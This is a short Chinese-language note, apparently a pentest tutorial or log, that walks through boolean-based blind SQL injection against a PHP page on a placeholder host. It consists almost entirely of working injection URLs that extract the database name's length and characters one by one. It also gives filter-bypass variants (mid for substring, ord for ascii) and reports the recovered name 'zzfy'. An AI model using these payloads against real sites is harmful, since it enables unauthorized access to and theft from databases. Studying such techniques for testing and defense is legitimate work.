http://www.x.com/sections_intr.php?id=181 and length((database()))=4

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122   

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122 

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102 

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121 

或者使用   

substring过滤的时候替换

http://www.x.com/sections_intr.php?id=181 and  ascii(mid(database(),1,1)) =122

ascii过滤的时候替换

http://www.x.com/sections_intr.php?id=181 and  ord(mid(database(),1,1))=122

122=z  102=f  121=y

库名:zzfy

ascii码表 http://app.baidu.com/app/enter?appid=218548

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